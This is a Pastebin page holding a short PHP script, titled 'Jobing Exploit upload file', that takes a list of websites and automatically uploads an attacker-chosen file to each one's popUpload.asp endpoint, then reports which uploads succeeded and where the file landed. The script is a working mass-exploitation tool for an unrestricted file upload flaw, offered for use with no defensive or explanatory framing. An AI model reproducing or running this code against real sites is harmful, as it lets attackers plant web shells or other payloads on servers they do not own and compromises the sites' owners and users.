Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- greetz to all friends <3
- https://www.facebook.com/lexcode2
- http://pastebin.com/u/L3xcode
- */
- echo "\n\t +-- Jobing Exploit upload file --+";
- echo "\n\t +-- Coded by قم يو رن --+\n";
- $file="$argv[2]";
- $get=@file_get_contents($argv[1]);
- $ex=explode("\r\n",$get);
- echo "\n\t Total Sites : ".count($ex)."\n";
- foreach($ex as $urls){
- job($urls,$file);
- }
- function job($site,$file){
- $uploadfile="$file"; // ur file
- $ch =curl_init("$site/popUpload.asp");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- array('txtFile'=>"@$uploadfile",'cmdSubmit'=>1,'butSubmit'=>"Upload Now"));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- echo "\n[+] Scanning : $site";
- if(preg_match("#File saved!<br>Link: (.*?)<br>Upload another file#",$postResult,$res)){
- echo "\n[!] Exploit : Success";
- echo("\n[!] Link : $res[1]\n");
- }else{
- echo "\n[!] Exploit : Fail\n";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement